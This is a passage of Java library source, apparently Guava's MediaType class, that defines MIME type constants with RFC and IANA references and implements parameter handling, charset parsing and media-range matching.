UTF_8_CONSTANT_PARAMETERS = ImmutableListMultimap.of(CHARSET_ATTRIBUTE, Ascii.toLowerCase(UTF_8.name())); /** Matcher for type, subtype and attributes. */ private static final CharMatcher TOKEN_MATCHER = ascii() .and(javaIsoControl().negate()) .and(CharMatcher.isNot(' ')) .and(CharMatcher.noneOf("()<>@,;:\\\"/[]?=")); private static final CharMatcher QUOTED_TEXT_MATCHER = ascii().and(CharMatcher.noneOf("\"\\\r")); /* * This matches the same characters as linear-white-space from RFC 822, but we make no effort to * enforce any particular rules with regards to line folding as stated in the class docs. */ private static final CharMatcher LINEAR_WHITE_SPACE = CharMatcher.anyOf(" \t\r\n"); // TODO(gak): make these public? private static final String APPLICATION_TYPE = "application"; private static final String AUDIO_TYPE = "audio"; private static final String IMAGE_TYPE = "image"; private static final String TEXT_TYPE = "text"; private static final String VIDEO_TYPE = "video"; private static final String FONT_TYPE = "font"; private static final String WILDCARD = "*"; private static final Map<MediaType, MediaType> KNOWN_TYPES = Maps.newHashMap(); private static MediaType createConstant(String type, String subtype) { MediaType mediaType = addKnownType(new MediaType(type, subtype, ImmutableListMultimap.<String, String>of())); mediaType.parsedCharset = Optional.absent(); return mediaType; } private static MediaType createConstantUtf8(String type, String subtype) { MediaType mediaType = addKnownType(new MediaType(type, subtype, UTF_8_CONSTANT_PARAMETERS)); mediaType.parsedCharset = Optional.of(UTF_8); return mediaType; } private static MediaType addKnownType(MediaType mediaType) { KNOWN_TYPES.put(mediaType, mediaType); return mediaType; } /* * The following constants are grouped by their type and ordered alphabetically by the constant * name within that type. The constant name should be a sensible identifier that is closest to the * "common name" of the media. This is often, but not necessarily the same as the subtype. * * Be sure to declare all constants with the type and subtype in all lowercase. For types that * take a charset (e.g. all text/* types), default to UTF-8 and suffix the constant name with * "_UTF_8". */ public static final MediaType ANY_TYPE = createConstant(WILDCARD, WILDCARD); public static final MediaType ANY_TEXT_TYPE = createConstant(TEXT_TYPE, WILDCARD); public static final MediaType ANY_IMAGE_TYPE = createConstant(IMAGE_TYPE, WILDCARD); public static final MediaType ANY_AUDIO_TYPE = createConstant(AUDIO_TYPE, WILDCARD); public static final MediaType ANY_VIDEO_TYPE = createConstant(VIDEO_TYPE, WILDCARD); public static final MediaType ANY_APPLICATION_TYPE = createConstant(APPLICATION_TYPE, WILDCARD); /** * Wildcard matching any "font" top-level media type. * * @since 30.0 */ public static final MediaType ANY_FONT_TYPE = createConstant(FONT_TYPE, WILDCARD); /* text types */ public static final MediaType CACHE_MANIFEST_UTF_8 = createConstantUtf8(TEXT_TYPE, "cache-manifest"); public static final MediaType CSS_UTF_8 = createConstantUtf8(TEXT_TYPE, "css"); public static final MediaType CSV_UTF_8 = createConstantUtf8(TEXT_TYPE, "csv"); public static final MediaType HTML_UTF_8 = createConstantUtf8(TEXT_TYPE, "html"); public static final MediaType I_CALENDAR_UTF_8 = createConstantUtf8(TEXT_TYPE, "calendar"); public static final MediaType PLAIN_TEXT_UTF_8 = createConstantUtf8(TEXT_TYPE, "plain"); /** * <a href="http://www.rfc-editor.org/rfc/rfc4329.txt">RFC 4329</a> declares {@link * #JAVASCRIPT_UTF_8 application/javascript} to be the correct media type for JavaScript, but this * may be necessary in certain situations for compatibility. */ public static final MediaType TEXT_JAVASCRIPT_UTF_8 = createConstantUtf8(TEXT_TYPE, "javascript"); /** * <a href="http://www.iana.org/assignments/media-types/text/tab-separated-values">Tab separated * values</a>. * * @since 15.0 */ public static final MediaType TSV_UTF_8 = createConstantUtf8(TEXT_TYPE, "tab-separated-values"); public static final MediaType VCARD_UTF_8 = createConstantUtf8(TEXT_TYPE, "vcard"); /** * UTF-8 encoded <a href="https://en.wikipedia.org/wiki/Wireless_Markup_Language">Wireless Markup * Language</a>. * * @since 13.0 */ public static final MediaType WML_UTF_8 = createConstantUtf8(TEXT_TYPE, "vnd.wap.wml"); /** * As described in <a href="http://www.ietf.org/rfc/rfc3023.txt">RFC 3023</a>, this constant * ({@code text/xml}) is used for XML documents that are "readable by casual users." {@link * #APPLICATION_XML_UTF_8} is provided for documents that are intended for applications. */ public static final MediaType XML_UTF_8 = createConstantUtf8(TEXT_TYPE, "xml"); /** * As described in <a href="https://w3c.github.io/webvtt/#iana-text-vtt">the VTT spec</a>, this is * used for Web Video Text Tracks (WebVTT) files, used with the HTML5 track element. * * @since 20.0 */ public static final MediaType VTT_UTF_8 = createConstantUtf8(TEXT_TYPE, "vtt"); /* image types */ /** * <a href="https://en.wikipedia.org/wiki/BMP_file_format">Bitmap file format</a> ({@code bmp} * files). * * @since 13.0 */ public static final MediaType BMP = createConstant(IMAGE_TYPE, "bmp"); /** * The <a href="https://en.wikipedia.org/wiki/Camera_Image_File_Format">Canon Image File * Format</a> ({@code crw} files), a widely-used "raw image" format for cameras. It is found in * {@code /etc/mime.types}, e.g. in <a href= * "http://anonscm.debian.org/gitweb/?p=collab-maint/mime-support.git;a=blob;f=mime.types;hb=HEAD" * >Debian 3.48-1</a>. * * @since 15.0 */ public static final MediaType CRW = createConstant(IMAGE_TYPE, "x-canon-crw"); public static final MediaType GIF = createConstant(IMAGE_TYPE, "gif"); public static final MediaType ICO = createConstant(IMAGE_TYPE, "vnd.microsoft.icon"); public static final MediaType JPEG = createConstant(IMAGE_TYPE, "jpeg"); public static final MediaType PNG = createConstant(IMAGE_TYPE, "png"); /** * The Photoshop File Format ({@code psd} files) as defined by <a * href="http://www.iana.org/assignments/media-types/image/vnd.adobe.photoshop">IANA</a>, and * found in {@code /etc/mime.types}, e.g. <a * href="http://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/conf/mime.types"></a> of the * Apache <a href="http://httpd.apache.org/">HTTPD project</a>; for the specification, see <a * href="http://www.adobe.com/devnet-apps/photoshop/fileformatashtml/PhotoshopFileFormats.htm"> * Adobe Photoshop Document Format</a> and <a * href="http://en.wikipedia.org/wiki/Adobe_Photoshop#File_format">Wikipedia</a>; this is the * regular output/input of Photoshop (which can also export to various image formats; note that * files with extension "PSB" are in a distinct but related format). * * <p>This is a more recent replacement for the older, experimental type {@code x-photoshop}: <a * href="http://tools.ietf.org/html/rfc2046#section-6">RFC-2046.6</a>. * * @since 15.0 */ public static final MediaType PSD = createConstant(IMAGE_TYPE, "vnd.adobe.photoshop"); public static final MediaType SVG_UTF_8 = createConstantUtf8(IMAGE_TYPE, "svg+xml"); public static final MediaType TIFF = createConstant(IMAGE_TYPE, "tiff"); /** * <a href="https://en.wikipedia.org/wiki/WebP">WebP image format</a>. * * @since 13.0 */ public static final MediaType WEBP = createConstant(IMAGE_TYPE, "webp"); /** * <a href="https://www.iana.org/assignments/media-types/image/heif">HEIF image format</a>. * * @since 28.1 */ public static final MediaType HEIF = createConstant(IMAGE_TYPE, "heif"); /** * <a href="https://tools.ietf.org/html/rfc3745">JP2K image format</a>. * * @since 28.1 */ public static final MediaType JP2K = createConstant(IMAGE_TYPE, "jp2"); /* audio types */ public static final MediaType MP4_AUDIO = createConstant(AUDIO_TYPE, "mp4"); public static final MediaType MPEG_AUDIO = createConstant(AUDIO_TYPE, "mpeg"); public static final MediaType OGG_AUDIO = createConstant(AUDIO_TYPE, "ogg"); public static final MediaType WEBM_AUDIO = createConstant(AUDIO_TYPE, "webm"); /** * L16 audio, as defined by <a href="https://tools.ietf.org/html/rfc2586">RFC 2586</a>. * * @since 24.1 */ public static final MediaType L16_AUDIO = createConstant(AUDIO_TYPE, "l16"); /** * L24 audio, as defined by <a href="https://tools.ietf.org/html/rfc3190">RFC 3190</a>. * * @since 20.0 */ public static final MediaType L24_AUDIO = createConstant(AUDIO_TYPE, "l24"); /** * Basic Audio, as defined by <a href="http://tools.ietf.org/html/rfc2046#section-4.3">RFC * 2046</a>. * * @since 20.0 */ public static final MediaType BASIC_AUDIO = createConstant(AUDIO_TYPE, "basic"); /** * Advanced Audio Coding. For more information, see <a * href="https://en.wikipedia.org/wiki/Advanced_Audio_Coding">Advanced Audio Coding</a>. * * @since 20.0 */ public static final MediaType AAC_AUDIO = createConstant(AUDIO_TYPE, "aac"); /** * Vorbis Audio, as defined by <a href="http://tools.ietf.org/html/rfc5215">RFC 5215</a>. * * @since 20.0 */ public static final MediaType VORBIS_AUDIO = createConstant(AUDIO_TYPE, "vorbis"); /** * Windows Media Audio. For more information, see <a * href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd562994(v=vs.85).aspx">file * name extensions for Windows Media metafiles</a>. * * @since 20.0 */ public static final MediaType WMA_AUDIO = createConstant(AUDIO_TYPE, "x-ms-wma"); /** * Windows Media metafiles. For more information, see <a * href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd562994(v=vs.85).aspx">file * name extensions for Windows Media metafiles</a>. * * @since 20.0 */ public static final MediaType WAX_AUDIO = createConstant(AUDIO_TYPE, "x-ms-wax"); /** * Real Audio. For more information, see <a * href="http://service.real.com/help/faq/rp8/configrp8win.html">this link</a>. * * @since 20.0 */ public static final MediaType VND_REAL_AUDIO = createConstant(AUDIO_TYPE, "vnd.rn-realaudio"); /** * WAVE format, as defined by <a href="https://tools.ietf.org/html/rfc2361">RFC 2361</a>. * * @since 20.0 */ public static final MediaType VND_WAVE_AUDIO = createConstant(AUDIO_TYPE, "vnd.wave"); /* video types */ public static final MediaType MP4_VIDEO = createConstant(VIDEO_TYPE, "mp4"); public static final MediaType MPEG_VIDEO = createConstant(VIDEO_TYPE, "mpeg"); public static final MediaType OGG_VIDEO = createConstant(VIDEO_TYPE, "ogg"); public static final MediaType QUICKTIME = createConstant(VIDEO_TYPE, "quicktime"); public static final MediaType WEBM_VIDEO = createConstant(VIDEO_TYPE, "webm"); public static final MediaType WMV = createConstant(VIDEO_TYPE, "x-ms-wmv"); /** * Flash video. For more information, see <a href= * "http://help.adobe.com/en_US/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7d48.html" * >this link</a>. * * @since 20.0 */ public static final MediaType FLV_VIDEO = createConstant(VIDEO_TYPE, "x-flv"); /** * The 3GP multimedia container format. For more information, see <a * href="ftp://www.3gpp.org/tsg_sa/TSG_SA/TSGS_23/Docs/PDF/SP-040065.pdf#page=10">3GPP TS * 26.244</a>. * * @since 20.0 */ public static final MediaType THREE_GPP_VIDEO = createConstant(VIDEO_TYPE, "3gpp"); /** * The 3G2 multimedia container format. For more information, see <a * href="http://www.3gpp2.org/Public_html/specs/C.S0050-B_v1.0_070521.pdf#page=16">3GPP2 * C.S0050-B</a>. * * @since 20.0 */ public static final MediaType THREE_GPP2_VIDEO = createConstant(VIDEO_TYPE, "3gpp2"); /* application types */ /** * As described in <a href="http://www.ietf.org/rfc/rfc3023.txt">RFC 3023</a>, this constant * ({@code application/xml}) is used for XML documents that are "unreadable by casual users." * {@link #XML_UTF_8} is provided for documents that may be read by users. * * @since 14.0 */ public static final MediaType APPLICATION_XML_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "xml"); public static final MediaType ATOM_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "atom+xml"); public static final MediaType BZIP2 = createConstant(APPLICATION_TYPE, "x-bzip2"); /** * Files in the <a href="https://www.dartlang.org/articles/embedding-in-html/">dart</a> * programming language. * * @since 19.0 */ public static final MediaType DART_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "dart"); /** * <a href="https://goo.gl/2QoMvg">Apple Passbook</a>. * * @since 19.0 */ public static final MediaType APPLE_PASSBOOK = createConstant(APPLICATION_TYPE, "vnd.apple.pkpass"); /** * <a href="http://en.wikipedia.org/wiki/Embedded_OpenType">Embedded OpenType</a> fonts. This is * <a href="http://www.iana.org/assignments/media-types/application/vnd.ms-fontobject">registered * </a> with the IANA. * * @since 17.0 */ public static final MediaType EOT = createConstant(APPLICATION_TYPE, "vnd.ms-fontobject"); /** * As described in the <a href="http://idpf.org/epub">International Digital Publishing Forum</a> * EPUB is the distribution and interchange format standard for digital publications and * documents. This media type is defined in the <a * href="http://www.idpf.org/epub/30/spec/epub30-ocf.html">EPUB Open Container Format</a> * specification. * * @since 15.0 */ public static final MediaType EPUB = createConstant(APPLICATION_TYPE, "epub+zip"); public static final MediaType FORM_DATA = createConstant(APPLICATION_TYPE, "x-www-form-urlencoded"); /** * As described in <a href="https://www.rsa.com/rsalabs/node.asp?id=2138">PKCS #12: Personal * Information Exchange Syntax Standard</a>, PKCS #12 defines an archive file format for storing * many cryptography objects as a single file. * * @since 15.0 */ public static final MediaType KEY_ARCHIVE = createConstant(APPLICATION_TYPE, "pkcs12"); /** * This is a non-standard media type, but is commonly used in serving hosted binary files as it is * <a href="http://code.google.com/p/browsersec/wiki/Part2#Survey_of_content_sniffing_behaviors"> * known not to trigger content sniffing in current browsers</a>. It <i>should not</i> be used in * other situations as it is not specified by any RFC and does not appear in the <a * href="http://www.iana.org/assignments/media-types">/IANA MIME Media Types</a> list. Consider * {@link #OCTET_STREAM} for binary data that is not being served to a browser. * * @since 14.0 */ public static final MediaType APPLICATION_BINARY = createConstant(APPLICATION_TYPE, "binary"); /** * Media type for the <a href="https://tools.ietf.org/html/rfc7946">GeoJSON Format</a>, a * geospatial data interchange format based on JSON. * * @since 28.0 */ public static final MediaType GEO_JSON = createConstant(APPLICATION_TYPE, "geo+json"); public static final MediaType GZIP = createConstant(APPLICATION_TYPE, "x-gzip"); /** * <a href="https://tools.ietf.org/html/draft-kelly-json-hal-08#section-3">JSON Hypertext * Application Language (HAL) documents</a>. * * @since 26.0 */ public static final MediaType HAL_JSON = createConstant(APPLICATION_TYPE, "hal+json"); /** * <a href="http://www.rfc-editor.org/rfc/rfc4329.txt">RFC 4329</a> declares this to be the * correct media type for JavaScript, but {@link #TEXT_JAVASCRIPT_UTF_8 text/javascript} may be * necessary in certain situations for compatibility. */ public static final MediaType JAVASCRIPT_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "javascript"); /** * For <a href="https://tools.ietf.org/html/rfc7515">JWS or JWE objects using the Compact * Serialization</a>. * * @since 27.1 */ public static final MediaType JOSE = createConstant(APPLICATION_TYPE, "jose"); /** * For <a href="https://tools.ietf.org/html/rfc7515">JWS or JWE objects using the JSON * Serialization</a>. * * @since 27.1 */ public static final MediaType JOSE_JSON = createConstant(APPLICATION_TYPE, "jose+json"); public static final MediaType JSON_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "json"); /** * For <a href="https://tools.ietf.org/html/7519">JWT objects using the compact Serialization</a>. * * @since 32.0.0 */ public static final MediaType JWT = createConstant(APPLICATION_TYPE, "jwt"); /** * The <a href="http://www.w3.org/TR/appmanifest/">Manifest for a web application</a>. * * @since 19.0 */ public static final MediaType MANIFEST_JSON_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "manifest+json"); /** * <a href="http://www.opengeospatial.org/standards/kml/">OGC KML (Keyhole Markup Language)</a>. */ public static final MediaType KML = createConstant(APPLICATION_TYPE, "vnd.google-earth.kml+xml"); /** * <a href="http://www.opengeospatial.org/standards/kml/">OGC KML (Keyhole Markup Language)</a>, * compressed using the ZIP format into KMZ archives. */ public static final MediaType KMZ = createConstant(APPLICATION_TYPE, "vnd.google-earth.kmz"); /** * The <a href="https://tools.ietf.org/html/rfc4155">mbox database format</a>. * * @since 13.0 */ public static final MediaType MBOX = createConstant(APPLICATION_TYPE, "mbox"); /** * <a href="http://goo.gl/1pGBFm">Apple over-the-air mobile configuration profiles</a>. * * @since 18.0 */ public static final MediaType APPLE_MOBILE_CONFIG = createConstant(APPLICATION_TYPE, "x-apple-aspen-config"); /** <a href="http://goo.gl/XDQ1h2">Microsoft Excel</a> spreadsheets. */ public static final MediaType MICROSOFT_EXCEL = createConstant(APPLICATION_TYPE, "vnd.ms-excel"); /** * <a href="http://goo.gl/XrTEqG">Microsoft Outlook</a> items. * * @since 27.1 */ public static final MediaType MICROSOFT_OUTLOOK = createConstant(APPLICATION_TYPE, "vnd.ms-outlook"); /** <a href="http://goo.gl/XDQ1h2">Microsoft Powerpoint</a> presentations. */ public static final MediaType MICROSOFT_POWERPOINT = createConstant(APPLICATION_TYPE, "vnd.ms-powerpoint"); /** <a href="http://goo.gl/XDQ1h2">Microsoft Word</a> documents. */ public static final MediaType MICROSOFT_WORD = createConstant(APPLICATION_TYPE, "msword"); /** * Media type for <a * href="https://en.wikipedia.org/wiki/Dynamic_Adaptive_Streaming_over_HTTP">Dynamic Adaptive * Streaming over HTTP (DASH)</a>. This is <a * href="https://www.iana.org/assignments/media-types/application/dash+xml">registered</a> with * the IANA. * * @since 28.2 */ public static final MediaType MEDIA_PRESENTATION_DESCRIPTION = createConstant(APPLICATION_TYPE, "dash+xml"); /** * WASM applications. For more information see <a href="https://webassembly.org/">the Web Assembly * overview</a>. * * @since 27.0 */ public static final MediaType WASM_APPLICATION = createConstant(APPLICATION_TYPE, "wasm"); /** * NaCl applications. For more information see <a * href="https://developer.chrome.com/native-client/devguide/coding/application-structure">the * Developer Guide for Native Client Application Structure</a>. * * @since 20.0 */ public static final MediaType NACL_APPLICATION = createConstant(APPLICATION_TYPE, "x-nacl"); /** * NaCl portable applications. For more information see <a * href="https://developer.chrome.com/native-client/devguide/coding/application-structure">the * Developer Guide for Native Client Application Structure</a>. * * @since 20.0 */ public static final MediaType NACL_PORTABLE_APPLICATION = createConstant(APPLICATION_TYPE, "x-pnacl"); public static final MediaType OCTET_STREAM = createConstant(APPLICATION_TYPE, "octet-stream"); public static final MediaType OGG_CONTAINER = createConstant(APPLICATION_TYPE, "ogg"); public static final MediaType OOXML_DOCUMENT = createConstant( APPLICATION_TYPE, "vnd.openxmlformats-officedocument.wordprocessingml.document"); public static final MediaType OOXML_PRESENTATION = createConstant( APPLICATION_TYPE, "vnd.openxmlformats-officedocument.presentationml.presentation"); public static final MediaType OOXML_SHEET = createConstant(APPLICATION_TYPE, "vnd.openxmlformats-officedocument.spreadsheetml.sheet"); public static final MediaType OPENDOCUMENT_GRAPHICS = createConstant(APPLICATION_TYPE, "vnd.oasis.opendocument.graphics"); public static final MediaType OPENDOCUMENT_PRESENTATION = createConstant(APPLICATION_TYPE, "vnd.oasis.opendocument.presentation"); public static final MediaType OPENDOCUMENT_SPREADSHEET = createConstant(APPLICATION_TYPE, "vnd.oasis.opendocument.spreadsheet"); public static final MediaType OPENDOCUMENT_TEXT = createConstant(APPLICATION_TYPE, "vnd.oasis.opendocument.text"); /** * <a href="https://tools.ietf.org/id/draft-ellermann-opensearch-01.html">OpenSearch</a> * Description files are XML files that describe how a website can be used as a search engine by * consumers (e.g. web browsers). * * @since 28.2 */ public static final MediaType OPENSEARCH_DESCRIPTION_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "opensearchdescription+xml"); public static final MediaType PDF = createConstant(APPLICATION_TYPE, "pdf"); public static final MediaType POSTSCRIPT = createConstant(APPLICATION_TYPE, "postscript"); /** * <a href="http://tools.ietf.org/html/draft-rfernando-protocol-buffers-00">Protocol buffers</a> * * @since 15.0 */ public static final MediaType PROTOBUF = createConstant(APPLICATION_TYPE, "protobuf"); /** * <a href="https://en.wikipedia.org/wiki/RDF/XML">RDF/XML</a> documents, which are XML * serializations of <a * href="https://en.wikipedia.org/wiki/Resource_Description_Framework">Resource Description * Framework</a> graphs. * * @since 14.0 */ public static final MediaType RDF_XML_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "rdf+xml"); public static final MediaType RTF_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "rtf"); /** * <a href="https://tools.ietf.org/html/rfc8081">RFC 8081</a> declares {@link #FONT_SFNT * font/sfnt} to be the correct media type for SFNT, but this may be necessary in certain * situations for compatibility. * * @since 17.0 */ public static final MediaType SFNT = createConstant(APPLICATION_TYPE, "font-sfnt"); public static final MediaType SHOCKWAVE_FLASH = createConstant(APPLICATION_TYPE, "x-shockwave-flash"); /** * {@code skp} files produced by the 3D Modeling software <a * href="https://www.sketchup.com/">SketchUp</a> * * @since 13.0 */ public static final MediaType SKETCHUP = createConstant(APPLICATION_TYPE, "vnd.sketchup.skp"); /** * As described in <a href="http://www.ietf.org/rfc/rfc3902.txt">RFC 3902</a>, this constant * ({@code application/soap+xml}) is used to identify SOAP 1.2 message envelopes that have been * serialized with XML 1.0. * * <p>For SOAP 1.1 messages, see {@code XML_UTF_8} per <a * href="http://www.w3.org/TR/2000/NOTE-SOAP-20000508/">W3C Note on Simple Object Access Protocol * (SOAP) 1.1</a> * * @since 20.0 */ public static final MediaType SOAP_XML_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "soap+xml"); public static final MediaType TAR = createConstant(APPLICATION_TYPE, "x-tar"); /** * <a href="https://tools.ietf.org/html/rfc8081">RFC 8081</a> declares {@link #FONT_WOFF * font/woff} to be the correct media type for WOFF, but this may be necessary in certain * situations for compatibility. * * @since 17.0 */ public static final MediaType WOFF = createConstant(APPLICATION_TYPE, "font-woff"); /** * <a href="https://tools.ietf.org/html/rfc8081">RFC 8081</a> declares {@link #FONT_WOFF2 * font/woff2} to be the correct media type for WOFF2, but this may be necessary in certain * situations for compatibility. * * @since 20.0 */ public static final MediaType WOFF2 = createConstant(APPLICATION_TYPE, "font-woff2"); public static final MediaType XHTML_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "xhtml+xml"); /** * Extensible Resource Descriptors. This is not yet registered with the IANA, but it is specified * by OASIS in the <a href="http://docs.oasis-open.org/xri/xrd/v1.0/cd02/xrd-1.0-cd02.html">XRD * definition</a> and implemented in projects such as <a * href="http://code.google.com/p/webfinger/">WebFinger</a>. * * @since 14.0 */ public static final MediaType XRD_UTF_8 = createConstantUtf8(APPLICATION_TYPE, "xrd+xml"); public static final MediaType ZIP = createConstant(APPLICATION_TYPE, "zip"); /* font types */ /** * A collection of font outlines as defined by <a href="https://tools.ietf.org/html/rfc8081">RFC * 8081</a>. * * @since 30.0 */ public static final MediaType FONT_COLLECTION = createConstant(FONT_TYPE, "collection"); /** * <a href="https://en.wikipedia.org/wiki/OpenType">Open Type Font Format</a> (OTF) as defined by * <a href="https://tools.ietf.org/html/rfc8081">RFC 8081</a>. * * @since 30.0 */ public static final MediaType FONT_OTF = createConstant(FONT_TYPE, "otf"); /** * <a href="https://en.wikipedia.org/wiki/SFNT">Spline or Scalable Font Format</a> (SFNT). <a * href="https://tools.ietf.org/html/rfc8081">RFC 8081</a> declares this to be the correct media * type for SFNT, but {@link #SFNT application/font-sfnt} may be necessary in certain situations * for compatibility. * * @since 30.0 */ public static final MediaType FONT_SFNT = createConstant(FONT_TYPE, "sfnt"); /** * <a href="https://en.wikipedia.org/wiki/TrueType">True Type Font Format</a> (TTF) as defined by * <a href="https://tools.ietf.org/html/rfc8081">RFC 8081</a>. * * @since 30.0 */ public static final MediaType FONT_TTF = createConstant(FONT_TYPE, "ttf"); /** * <a href="http://en.wikipedia.org/wiki/Web_Open_Font_Format">Web Open Font Format</a> (WOFF). <a * href="https://tools.ietf.org/html/rfc8081">RFC 8081</a> declares this to be the correct media * type for SFNT, but {@link #WOFF application/font-woff} may be necessary in certain situations * for compatibility. * * @since 30.0 */ public static final MediaType FONT_WOFF = createConstant(FONT_TYPE, "woff"); /** * <a href="http://en.wikipedia.org/wiki/Web_Open_Font_Format">Web Open Font Format</a> (WOFF2). * <a href="https://tools.ietf.org/html/rfc8081">RFC 8081</a> declares this to be the correct * media type for SFNT, but {@link #WOFF2 application/font-woff2} may be necessary in certain * situations for compatibility. * * @since 30.0 */ public static final MediaType FONT_WOFF2 = createConstant(FONT_TYPE, "woff2"); private final String type; private final String subtype; private final ImmutableListMultimap<String, String> parameters; @LazyInit @CheckForNull private String toString; @LazyInit private int hashCode; @LazyInit @CheckForNull private Optional<Charset> parsedCharset; private MediaType(String type, String subtype, ImmutableListMultimap<String, String> parameters) { this.type = type; this.subtype = subtype; this.parameters = parameters; } /** Returns the top-level media type. For example, {@code "text"} in {@code "text/plain"}. */ public String type() { return type; } /** Returns the media subtype. For example, {@code "plain"} in {@code "text/plain"}. */ public String subtype() { return subtype; } /** Returns a multimap containing the parameters of this media type. */ public ImmutableListMultimap<String, String> parameters() { return parameters; } private Map<String, ImmutableMultiset<String>> parametersAsMap() { return Maps.transformValues(parameters.asMap(), ImmutableMultiset::copyOf); } /** * Returns an optional charset for the value of the charset parameter if it is specified. * * @throws IllegalStateException if multiple charset values have been set for this media type * @throws IllegalCharsetNameException if a charset value is present, but illegal * @throws UnsupportedCharsetException if a charset value is present, but no support is available * in this instance of the Java virtual machine */ public Optional<Charset> charset() { // racy single-check idiom, this is safe because Optional is immutable. Optional<Charset> local = parsedCharset; if (local == null) { String value = null; local = Optional.absent(); for (String currentValue : parameters.get(CHARSET_ATTRIBUTE)) { if (value == null) { value = currentValue; local = Optional.of(Charset.forName(value)); } else if (!value.equals(currentValue)) { throw new IllegalStateException( "Multiple charset values defined: " + value + ", " + currentValue); } } parsedCharset = local; } return local; } /** * Returns a new instance with the same type and subtype as this instance, but without any * parameters. */ public MediaType withoutParameters() { return parameters.isEmpty() ? this : create(type, subtype); } /** * <em>Replaces</em> all parameters with the given parameters. * * @throws IllegalArgumentException if any parameter or value is invalid */ public MediaType withParameters(Multimap<String, String> parameters) { return create(type, subtype, parameters); } /** * <em>Replaces</em> all parameters with the given attribute with parameters using the given * values. If there are no values, any existing parameters with the given attribute are removed. * * @throws IllegalArgumentException if either {@code attribute} or {@code values} is invalid * @since 24.0 */ public MediaType withParameters(String attribute, Iterable<String> values) { checkNotNull(attribute); checkNotNull(values); String normalizedAttribute = normalizeToken(attribute); ImmutableListMultimap.Builder<String, String> builder = ImmutableListMultimap.builder(); for (Entry<String, String> entry : parameters.entries()) { String key = entry.getKey(); if (!normalizedAttribute.equals(key)) { builder.put(key, entry.getValue()); } } for (String value : values) { builder.put(normalizedAttribute, normalizeParameterValue(normalizedAttribute, value)); } MediaType mediaType = new MediaType(type, subtype, builder.build()); // if the attribute isn't charset, we can just inherit the current parsedCharset if (!normalizedAttribute.equals(CHARSET_ATTRIBUTE)) { mediaType.parsedCharset = this.parsedCharset; } // Return one of the constants if the media type is a known type. return MoreObjects.firstNonNull(KNOWN_TYPES.get(mediaType), mediaType); } /** * <em>Replaces</em> all parameters with the given attribute with a single parameter with the * given value. If multiple parameters with the same attributes are necessary use {@link * #withParameters(String, Iterable)}. Prefer {@link #withCharset} for setting the {@code charset} * parameter when using a {@link Charset} object. * * @throws IllegalArgumentException if either {@code attribute} or {@code value} is invalid */ public MediaType withParameter(String attribute, String value) { return withParameters(attribute, ImmutableSet.of(value)); } /** * Returns a new instance with the same type and subtype as this instance, with the {@code * charset} parameter set to the {@link Charset#name name} of the given charset. Only one {@code * charset} parameter will be present on the new instance regardless of the number set on this * one. * * <p>If a charset must be specified that is not supported on this JVM (and thus is not * representable as a {@link Charset} instance), use {@link #withParameter}. */ public MediaType withCharset(Charset charset) { checkNotNull(charset); MediaType withCharset = withParameter(CHARSET_ATTRIBUTE, charset.name()); // precache the charset so we don't need to parse it withCharset.parsedCharset = Optional.of(charset); return withCharset; } /** Returns true if either the type or subtype is the wildcard. */ public boolean hasWildcard() { return WILDCARD.equals(type) || WILDCARD.equals(subtype); } /** * Returns {@code true} if this instance falls within the range (as defined by <a * href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html">the HTTP Accept header</a>) given * by the argument according to three criteria: * * <ol> * <li>The type of the argument is the wildcard or equal to the type of this instance. * <li>The subtype of the argument is the wildcard or equal to the subtype of this instance. * <li>All of the parameters present in the argument are present in this instance. * </ol> * * <p>For example: * * <pre>{@code * PLAIN_TEXT_UTF_8.is(PLAIN_TEXT_UTF_8) // true * PLAIN_TEXT_UTF_8.is(HTML_UTF_8) // false * PLAIN_TEXT_UTF_8.is(ANY_TYPE) // true * PLAIN_TEXT_UTF_8.is(ANY_TEXT_TYPE) // true * PLAIN_TEXT_UTF_8.is(ANY_IMAGE_TYPE) // false * PLAIN_TEXT_UTF_8.is(ANY_TEXT_TYPE.withCharset(UTF_8)) // true * PLAIN_TEXT_UTF_8.withoutParameters().is(ANY_TEXT_TYPE.withCharset(UTF_8)) // false * PLAIN_TEXT_UTF_8.is(ANY_TEXT_TYPE.withCharset(UTF_16)) // false * }</pre> * * <p>Note that while it is possible to have the same parameter declared multiple times within a * media type this method does not consider the number of occurrences of a parameter. For example, * {@code "text/plain; charset=UTF-8"} satisfies {@code "text/plain; charset=UTF-8; * charset=UTF-8"}. */ public boolean is(MediaType mediaTypeRange) { return (mediaTypeRange.type.equals(WILDCARD) || mediaTypeRange.type.equals(this.type)) && (mediaTypeRange.subtype.equals(WILDCARD) || mediaTypeRange.subtype.equals(this.subtype)) && this.parameters.entries().containsAll(mediaTypeRange.parameters.entries()); } /** * Creates a new media type with the given type and subtype. * * @throws IllegalArgumentException if type or subtype is invalid or if a wildcard is used for the * type, but not the subtype. */ public static MediaType create(String type, String subtype) { MediaType mediaType = create(type, subtype, ImmutableListMultimap.<String, String>of()); mediaType.parsedCharset = Optional.absent(); return mediaType; } private static MediaType create( String type, String subtype, Multimap<String, String> parameters) { checkNotNull(type); checkNotNull(subtype); checkNotNull(parameters); String normalizedType = normalizeToken(type); String normalizedSubtype = normalizeToken(subtype); checkArgument( !WILDCARD.equals(normalizedType) || WILDCARD.equals(normalizedSubtype), "A wildcard type cannot be used with a non-wildcard subtype"); ImmutableListMultimap.Builder<String, String> builder = ImmutableListMultimap.builder(); for (Entry<String, String> entry : parameters.entries()) { String attribute = normalizeToken(entry.getKey()); builder.put(attribute, normalizeParameterValue(attribute, entry.getValue())); } MediaType mediaType = new MediaType(normalizedType, normalizedSubtype, builder.build()); // Return one of the constants if the media type is a known type. return MoreObjects.firstNonNull(KNOWN_TYPES.get(mediaType), mediaType); } /** * Creates a media type with the "application" type and the given subtype. * * @throws IllegalArgumentException if subtype is invalid */ static MediaType 